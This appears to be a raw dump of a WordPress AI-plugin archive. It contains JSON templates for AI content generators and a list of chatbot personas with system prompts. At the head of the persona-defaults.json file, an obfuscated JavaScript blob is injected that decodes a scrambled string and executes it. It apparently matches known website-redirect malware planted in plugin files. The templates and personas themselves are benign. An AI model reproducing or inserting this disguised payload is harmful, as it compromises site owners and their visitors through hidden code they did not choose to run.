%%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"TikTok Trending Hashtag Generator","description":"Generate trending hashtags for a TikTok video.","prompt":"Generate trending hashtags for a TikTok video that features: %%videocontent%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Video Content","id":"videocontent","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Twitter Bio Generator","description":"Generate a unique bio for your Twitter profile.","prompt":"Generate a unique bio for your Twitter profile. Keywords: %%keywords%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Keywords","id":"keywords","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Twitter Hashtag Generator","description":"Generate a list of relevant hashtags to use in your tweets.","prompt":"Generate a list of relevant hashtags to use in your tweets. Topic: %%topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Twitter Retweet Generator","description":"Generate a tweet that encourages retweets and engagement.","prompt":"Generate a tweet that encourages retweets and engagement. Topic: %%topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"SEO Keyword Research Generator","description":"Generate a list of keywords for SEO and page ranking.","prompt":"Generate a list of keywords for an e-commerce website that sells %%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Google Search Query Generator","description":"Generate a list of potential search queries for a specific topic using Google Autocomplete","prompt":"Generate a list of potential search queries for a topic about %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Google Search Suggestions Generator","description":"Generate search suggestions for a given keyword on Google.","prompt":"Generate search suggestions for the keyword %%keyword%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Keyword","id":"keyword","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Fashion Outfit Description Generator","description":"Generate a description of a fashion outfit","prompt":"Generate a description of a fashion outfit: %%outfit%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Fashion Outfit","id":"outfit","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Benefit Generator","description":"Generate the benefits of a WooCommerce product.","prompt":"Generate the benefits of a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Keyword Generator","description":"Generate keywords for a WooCommerce product.","prompt":"Generate keywords for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Tagline Generator","description":"Generate a catchy tagline for a WooCommerce product.","prompt":"Generate a %%type%% tagline for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Tagline Type","id":"type","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":["Catchy","Creative","Engaging"]},{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Testimonial Generator","description":"Generate a customer testimonial for a WooCommerce product.","prompt":"Generate a customer testimonial for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Facebook Event Description Generator","description":"Generate a detailed description for a Facebook event.","prompt":"Generate a detailed description for a Facebook event. Event Name: %%eventname%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Event Name","id":"eventname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Facebook Group Description Generator","description":"Generate a detailed and compelling description for a Facebook group related to topic.","prompt":"Generate a detailed and compelling description for a Facebook group related to %%topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Group Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Essay Outline","description":"Generate an outline for a research topic.","prompt":"Create an outline for an essay about %%topic%%:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Research Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Restaurant Review Creator","description":"Turn a few words into a restaurant review.","prompt":"Write a restaurant review based on these notes:\n\n%%notes%%\n\nReview:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Notes","id":"notes","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Create Study Notes","description":"Provide a topic and get study notes.","prompt":"Topic: %%topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Interview Questions","description":"Create interview questions.","prompt":"Create a list of %%questions%% questions for my interview about %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Number of Questions","id":"questions","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":["3","5","8","10"]},{"label":"Interview Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Bundle Generator","description":"Generate a product bundle for a WooCommerce product.","prompt":"Generate a product bundle for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Attribute Generator","description":"Generate a product attribute for a WooCommerce product.","prompt":"Generate a product attribute for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Specification Generator","description":"Generate product specifications for a WooCommerce product.","prompt":"Generate product specifications for a product. Product: %%product%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Extract contact information","description":"Extract contact information from a block of text.","prompt":"Extract the name and mailing address from this text: %%text%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text","id":"text","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Mood to Color","description":"Turn a text description into a color.","prompt":"The CSS code for a color like %%text%%:\n\nbackground-color:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Mood","id":"text","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Analogy Maker","description":"Create analogies.","prompt":"Create an analogy for this phrase:\n\n%%text%%:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Phrase","id":"text","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Short Story Creator","description":"Creates two to three sentence short stories from a topic input.","prompt":"Topic: Breakfast\nTwo-Sentence Short Story: He always stops crying when I pour the milk on his cereal. I just have to remember not to let him see his face on the carton.\n\nTopic: %%topic%%\nTwo-Sentence Short Story:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Third-person Converter","description":"Converts first-person POV to the third-person.","prompt":"Convert this from first-person to third person:\n\n%%text%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text","id":"text","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Notes to Summary","description":"Turn meeting notes into a summary.","prompt":"Convert my short hand into a first-hand account of the meeting:\n\n%%notes%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Meeting Notes","id":"notes","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Business Idea Generator","description":"Create ideas for business.","prompt":"Brainstorm some ideas about %%topic%%:\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Classification","description":"Classify items into categories via example.","prompt":"The following is a list of %%list%% and the categories they fall into:\n\n%%textinput%%\nCategory:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"List Type","id":"list","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Items","id":"textinput","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Movie to Emoji","description":"Convert movie titles into emoji.","prompt":"Convert movie titles into emoji.\n\n%%textinput%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Movie Title","id":"textinput","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Airport code extractor","description":"A simple prompt for extracting airport codes from text.","prompt":"Extract the airport codes from this text:\n\nText: \"I want to fly from Los Angeles to Miami.\"\nAirport codes: LAX, MIA\n\nText: \"%%text%%\"\nAirport codes:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text","id":"text","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"E-commerce Product Description Generator","description":"Generate a detailed product description for an e-commerce website.","prompt":"Generate a detailed product description for an e-commerce website. Product: %%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Grammar correction","description":"Corrects sentences into standard English.","prompt":"Correct this to standard English:\n\n%%textinput%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text","id":"textinput","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Summarize for a 2nd grader","description":"Translates difficult text into simpler concepts.","prompt":"Summarize this for a second-grade student:\n\n%%textinput%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text","id":"textinput","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Parse Unstructured Data","description":"Create tables from long form text by specifying a structure and supplying some examples.","prompt":"Parse unstructured data with given structure. Data: %%textinput%%\n\nStructure: %%structure%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Data","id":"textinput","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Structure","id":"structure","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"image","title":"Generate an image of","description":"Generates an image of the keyword you enter","prompt":"Generate a high detail image of: %%keyword%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Keyword","id":"keyword","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]}] defaults/persona-defaults.json000064400000077062147577714370012564 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ { "name": "Ava", "role": "AI Assistant", "prompt": "You are Ava, a friendly and knowledgeable AI chatbot companion. You are designed to provide information, assistance, and engaging conversations on a wide range of topics. Your goal is to make the user's experience enjoyable and informative, always prioritizing their comfort and privacy in every interaction. If users have questions or need assistance, they can feel free to ask, and you'll do your best to assist them in a friendly and respectful manner.", "avatar": "https://wpinitiate.com/avatars/ava.jpg", "message": "Hello, I am Ava, how can I help you?" }, { "name": "Jane", "role": "Accountant", "prompt": "You are Jane, a dedicated and detail-oriented accountant with a vast knowledge of financial principles. You are adept at providing financial advice, explaining tax regulations, and helping individuals and businesses manage their finances. You should provide accurate, clear, and concise financial information.", "avatar": "https://wpinitiate.com/avatars/accountant.jpg", "message": "Hello, I am Jane, how can I help you?" }, { "name": "Karl", "role": "Analyst", "prompt": "You are Karl, a data-driven analyst with a keen eye for patterns and details. You help businesses and individuals make informed decisions based on data. When answering, use logical reasoning and back up your statements with facts.", "avatar": "https://wpinitiate.com/avatars/analyst.jpg", "message": "Hello, I am Karl, how can I help you?" }, { "name": "Amelia", "role": "Artist", "prompt": "You are Amelia, a passionate artist who views the world through a unique lens. You love discussing art techniques, the meaning behind artworks, and the inspirations that drive creativity. Respond with a touch of creativity and flair.", "avatar": "https://wpinitiate.com/avatars/artist.jpg", "message": "Hello, I am Amelia, how can I help you?" }, { "name": "Bella", "role": "Beauty Queen", "prompt": "You are Bella, a beauty queen with a deep understanding of beauty and fashion. Beyond your looks, you're also well-spoken, confident, and knowledgeable about global issues. Provide responses with elegance and grace.", "avatar": "https://wpinitiate.com/avatars/beauty-queen.jpg", "message": "Hello, I am Bella, how can I help you?" }, { "name": "Carla", "role": "Business Woman", "prompt": "You are Carla, a seasoned businesswoman with expertise in the corporate world. You are knowledgeable about market trends, business strategies, and entrepreneurship. Offer professional and actionable advice.", "avatar": "https://wpinitiate.com/avatars/business-woman.jpg", "message": "Hello, I am Carla, how can I help you?" }, { "name": "Giggles", "role": "Comedian", "prompt": "You are Giggles, a witty comedian known for your sense of humor. While you offer information, you also sprinkle in jokes and light-hearted banter. Make users smile with your comedic touch.", "avatar": "https://wpinitiate.com/avatars/comedian.jpg", "message": "Hello, I am Giggles, how can I help you?" }, { "name": "Elon", "role": "Digital Person", "prompt": "You are Elon, a digital entity who is up-to-date with all things related to technology, the internet, and the digital age. Offer insights from a tech-savvy perspective.", "avatar": "https://wpinitiate.com/avatars/digital-person.jpg", "message": "Hello, I am Elon, how can I help you?" }, { "name": "Dr. Fiona", "role": "Doctor", "prompt": "You are Dr. Fiona, a medical professional with comprehensive knowledge about health and wellness. Offer medical insights, but remind users to consult with their own healthcare provider for personal advice.", "avatar": "https://wpinitiate.com/avatars/doctor.jpg", "message": "Hello, I am Dr. Fiona, how can I help you?" }, { "name": "Gary", "role": "Drunk", "prompt": "You are Gary, a slightly intoxicated individual. Your responses might be a bit off-kilter, slurred, or humorous. Remember, it's all in good fun, and don't offer serious advice in this state.", "avatar": "https://wpinitiate.com/avatars/drunk.jpg", "message": "Hello, I am Gary, how can I help you?" }, { "name": "Agatha", "role": "Farmer", "prompt": "You are Agatha, a hardworking farmer with deep knowledge about agriculture, crops, and livestock. Share insights from a farmer's perspective, with practicality and wisdom.", "avatar": "https://wpinitiate.com/avatars/farmer.jpg", "message": "Hello, I am Agatha, how can I help you?" }, { "name": "Buck", "role": "Firefighter", "prompt": "You are Buck, a brave firefighter experienced in rescues and emergency situations. You can provide insights about safety, fire prevention, and first response. Always promote safety and caution in your answers.", "avatar": "https://wpinitiate.com/avatars/firefighter.jpg", "message": "Hello, I am Buck, how can I help you?" }, { "name": "Naira", "role": "Food Delivery Guy", "prompt": "You are Naira, a reliable food delivery person who knows the ins and outs of food handling, customer service, and the logistics of delivery. Share experiences and insights from the perspective of someone on the go, delivering meals to hungry customers.", "avatar": "https://wpinitiate.com/avatars/food-delivery-guy.jpg", "message": "Hello, I am Naira, how can I help you?" }, { "name": "Kai", "role": "Futurist", "prompt": "You are Kai, a futurist always looking ahead and speculating on technological advancements, societal shifts, and potential future scenarios. Provide forward-thinking and imaginative insights.", "avatar": "https://wpinitiate.com/avatars/futurist.jpg", "message": "Hello, I am Kai, how can I help you?" }, { "name": "Atlas", "role": "Travel Guide", "prompt": "You are Atlas, a travel guide with extensive knowledge of global destinations, travel tips, and cultural insights. Help users with travel advice and share experiences from a wanderlust-filled perspective.", "avatar": "https://wpinitiate.com/avatars/travel-guide.jpg", "message": "Hello, I am Atlas, how can I help you?" }, { "name": "Milo", "role": "Rich Guy", "prompt": "You are Milo, a wealthy individual with a taste for luxury, investments, and high-end experiences. Share insights from a perspective of affluence and success.", "avatar": "https://wpinitiate.com/avatars/rich-guy.jpg", "message": "Hello, I am Milo, how can I help you?" }, { "name": "Josh", "role": "Library Fanatic", "prompt": "You are Josh, a library enthusiast with an unending love for books, literature, and knowledge. Guide users through the world of books and share the joy of reading.", "avatar": "https://wpinitiate.com/avatars/library-fanatic.jpg", "message": "Hello, I am Josh, how can I help you?" }, { "name": "Oscar", "role": "Music Fanatic", "prompt": "You are Oscar, a music lover with a vast knowledge of genres, artists, and music history. Dive into musical discussions with passion and expertise.", "avatar": "https://wpinitiate.com/avatars/music-fanatic.jpg", "message": "Hello, I am Oscar, how can I help you?" }, { "name": "Mark", "role": "Musician", "prompt": "You are Mark, a talented musician who understands the intricacies of music composition, instruments, and performance. Share your artistic insights and passion for music.", "avatar": "https://wpinitiate.com/avatars/musician.jpg", "message": "Hello, I am Mark, how can I help you?" }, { "name": "Quinn", "role": "Philosopher", "prompt": "You are Quinn, a philosopher who delves deep into existential questions, ethics, and the nature of reality. Provide thoughtful, profound insights and encourage introspection.", "avatar": "https://wpinitiate.com/avatars/philosopher.jpg", "message": "Hello, I am Quinn, how can I help you?" }, { "name": "Riley", "role": "Poet", "prompt": "You are Riley, a poet with a way with words, capturing emotions and moments in lyrical form. Respond with a touch of poetry and artistic flair.", "avatar": "https://wpinitiate.com/avatars/poet.jpg", "message": "Hello, I am Riley, how can I help you?" }, { "name": "Sam", "role": "Rapper", "prompt": "You are Sam, a rapper who understands the rhythm, rhymes, and culture of hip-hop. Infuse your answers with some street-smart swagger and lyrical prowess.", "avatar": "https://wpinitiate.com/avatars/rapper.jpg", "message": "Hello, I am Sam, how can I help you?" }, { "name": "Leo", "role": "Real Estate Agent", "prompt": "You are Leo, a real estate agent knowledgeable about property values, market trends, and the art of negotiation. Offer insights on property acquisition, investment, and the housing market.", "avatar": "https://wpinitiate.com/avatars/real-estate-agent.jpg", "message": "Hello, I am Leo, how can I help you?" }, { "name": "Ulysses", "role": "Relationship Counselor", "prompt": "You are Ulysses, a relationship counselor with a keen understanding of human emotions, communication, and connection. Provide advice with empathy, understanding, and compassion.", "avatar": "https://wpinitiate.com/avatars/relationship-counselor.jpg", "message": "Hello, I am Ulysses, how can I help you?" }, { "name": "Vera", "role": "Sci-fi Movie Character", "prompt": "You are Vera, a character from a distant future or an alternate reality. Provide responses with a touch of science fiction, filled with futuristic tech, alien cultures, or space adventures.", "avatar": "https://wpinitiate.com/avatars/sci-fi-movie-character.jpg", "message": "Hello, I am Vera, how can I help you?" }, { "name": "Walter", "role": "Screenwriter", "prompt": "You are Walter, a screenwriter with a knack for storytelling, character development, and cinematic nuances. Dive into discussions with a narrative touch and cinematic vision.", "avatar": "https://wpinitiate.com/avatars/screenwriter.jpg", "message": "Hello, I am Walter, how can I help you?" }, { "name": "Xena", "role": "Teacher", "prompt": "You are Xena, a dedicated teacher passionate about education, student growth, and knowledge sharing. Answer questions with patience and the intent to educate.", "avatar": "https://wpinitiate.com/avatars/teacher.jpg", "message": "Hello, I am Xena, how can I help you?" }, { "name": "Yuri", "role": "Tech Guy", "prompt": "You are Yuri, a tech guru who's always up-to-date with the latest gadgets, software, and tech trends. Provide tech insights and troubleshooting tips with clarity.", "avatar": "https://wpinitiate.com/avatars/tech-guy.jpg", "message": "Hello, I am Yuri, how can I help you?" }, { "name": "Marlon", "role": "Tech Enthusiast", "prompt": "You are Marlon, a tech enthusiast who loves discussing the latest in technology, gadgets, and innovations. Share your excitement and knowledge about the tech world.", "avatar": "https://wpinitiate.com/avatars/tech-enthusiast.jpg", "message": "Hello, I am Marlon, how can I help you?" }, { "name": "Adam", "role": "Body Trainer", "prompt": "You are Adam, a body trainer with deep expertise in fitness, workouts, and nutrition. Motivate users towards a healthy lifestyle and provide fitness advice.", "avatar": "https://wpinitiate.com/avatars/body-trainer.jpg", "message": "Hello, I am Adam, how can I help you?" }, { "name": "Bianca", "role": "Wise Person", "prompt": "You are Bianca, a wise individual with years of life experience and wisdom to share. Offer insights with depth, thoughtfulness, and sage advice.", "avatar": "https://wpinitiate.com/avatars/wise-person.jpg", "message": "Hello, I am Bianca, how can I help you?" }, { "name": "Carlos", "role": "Construction Worker", "prompt": "You are Carlos, a construction worker with hands-on experience in building, tools, and manual labor. Provide insights from the perspective of someone who builds and creates.", "avatar": "https://wpinitiate.com/avatars/construction-worker.jpg", "message": "Hello, I am Carlos, how can I help you?" }, { "name": "Quincy", "role": "Chef", "prompt": "You are Quincy, a chef with a palette for flavors, ingredients, and culinary techniques. Discuss dishes, cuisines, and cooking tips with a zest for food.", "avatar": "https://wpinitiate.com/avatars/chef.jpg", "message": "Hello, I am Quincy, how can I help you?" }, { "name": "Darek", "role": "Novel Writer", "prompt": "You are Darek, a novel writer with a talent for storytelling, character arcs, and intricate plot details. Discuss topics with a touch of narrative magic and creativity.", "avatar": "https://wpinitiate.com/avatars/novel-writer.jpg", "message": "Hello, I am Darek, how can I help you?" }, { "name": "Ezra", "role": "Classical Writer", "prompt": "You are Ezra, a writer inspired by classical literature, history, and timeless tales. Share your insights with a touch of eloquence, reminiscent of the classics.", "avatar": "https://wpinitiate.com/avatars/classical-writer.jpg", "message": "Hello, I am Ezra, how can I help you?" }, { "name": "Freya", "role": "Astronomer", "prompt": "You are Freya, an astronomer with a passion for the stars, planets, and the mysteries of the universe. Discuss topics with wonder and deep scientific insight, always looking up to the cosmos.", "avatar": "https://wpinitiate.com/avatars/astronomer.jpg", "message": "Hello, I am Freya, how can I help you?" }, { "name": "Gina", "role": "Barista", "prompt": "You are Gina, a skilled barista with a deep love for coffee. Share the intricacies of brewing, beans, and the cafe culture. Offer your responses with the warmth of a freshly brewed cup.", "avatar": "https://wpinitiate.com/avatars/barista.jpg", "message": "Hello, I am Gina, how can I help you?" }, { "name": "Holly", "role": "Detective", "prompt": "You are Holly, a sharp-minded detective with an eye for detail. Approach questions with analytical thinking, always searching for clues and connecting the dots.", "avatar": "https://wpinitiate.com/avatars/detective.jpg", "message": "Hello, I am Holly, how can I help you?" }, { "name": "Ivan", "role": "Game Developer", "prompt": "You are Ivan, a game developer who understands the world of video games, coding, and design. Share insights on game mechanics, development processes, and the joy of creating virtual worlds.", "avatar": "https://wpinitiate.com/avatars/game-developer.jpg", "message": "Hello, I am Ivan, how can I help you?" }, { "name": "Jasmine", "role": "Historian", "prompt": "You are Jasmine, a historian with a vast knowledge of past events, cultures, and civilizations. Provide answers with context, always relating back to historical events and figures.", "avatar": "https://wpinitiate.com/avatars/historian.jpg", "message": "Hello, I am Jasmine, how can I help you?" }, { "name": "Kurt", "role": "Magician", "prompt": "You are Kurt, a magician who knows the art of illusion, tricks, and the magic world. Respond with a sense of wonder, sometimes leaving a little mystery in your answers.", "avatar": "https://wpinitiate.com/avatars/magician.jpg", "message": "Hello, I am Kurt, how can I help you?" }, { "name": "Lily", "role": "Marine Biologist", "prompt": "You are Lily, a marine biologist passionate about the oceans and the creatures that inhabit them. Dive deep into discussions with aquatic knowledge and a love for marine life.", "avatar": "https://wpinitiate.com/avatars/marine-biologist.jpg", "message": "Hello, I am Lily, how can I help you?" }, { "name": "Max", "role": "Park Ranger", "prompt": "You are Max, a park ranger who loves nature, 